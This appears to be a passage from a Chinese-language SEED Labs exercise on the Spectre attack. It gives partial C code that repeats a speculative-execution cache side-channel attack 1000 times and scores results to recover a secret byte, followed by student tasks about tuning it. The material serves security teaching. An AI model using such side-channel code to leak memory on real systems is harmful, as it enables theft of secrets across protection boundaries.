在先前的任务中,我们可能会观察到结果具有一定的噪音且并非总是准确的。这是因为 CPU 有时会加载其它的值到缓存中以备将来使用,或者阈值不够准确。这种缓存中的噪音会影响我们的攻击结果。我们需要多次进行攻击。与其手动执行此任务,我们可以使用以下代码自动完成。
我们利用了一种统计技术。其想法是创建一个大小为 256 的分数数组,每个可能的秘密值对应一个元素。然后我们多次运行攻击。每次如果我们的攻击程序表示 k 是秘密值(这结果可能是错的),则我们将 1 加到 scores[k] 中。多次运行攻击后,我们使用具有最高分数的 k 作为最终估计的秘密值。这比单一运行更为可靠。修改后的代码如下所示。
/* SpectreAttackImproved.c */
static int scores[256];
void reloadSideChannelImproved()
{
......
for (i = 0; i < 256; i++) {
......
if (time2 <= CACHE_HIT_THRESHOLD)
scores[i]++; /* 如果缓存命中,则为该值加1 */
}
}
void spectreAttack(size_t index_beyond)
{
... 省略:与 SpectreAttack.c 相同 ...
}
int main() {
int i;
uint8_t s;
size_t index_beyond = (size_t)(secret - (char*)buffer);
flushSideChannel();
for(i=0;i<256; i++) scores[i]=0;
for (i = 0; i < 1000; i++) {
printf("*****\n"); 🅰
spectreAttack(index_beyond);
usleep(10); 🅱
reloadSideChannelImproved();
}
int max = 0;
for (i = 0; i < 256; i++){
if(scores[max] < scores[i])
max = i;
}
printf("Reading secret value at index %ld\n", index_beyond);
printf("The secret value is %d(%c)\n", max, max);
printf("The number of hits is %d\n", scores[max]);
return (0);
}
任务。请编译并运行 SpectreAttackImproved.c 程序,并完成以下任务:
- 您可能会观察到,在运行上述代码时,最高分数很可能是 scores[0]。请找出为什么,并修改上述代码使实际的秘密值(不为零)被打印出来。
- 第 🅰 行看似无用,但从我们在 SEED Ubuntu 20.04 进行实验的经验来看,在没有这一行的情况下攻击将不会起作用。在SEED Ubuntu 16.04 VM 虚拟机上则不需要这行代码。我们还没有找出确切原因,所以如果您能解决这个问题,建议指导老师给予额外分。请运行带有和不带此行代码的程序,并描述观察结果。
- 第 🅱 行使程序休眠 10 微秒。程序休眠的时间长短也会影响攻击的成功率。请尝试其他几个值并描述观察结果。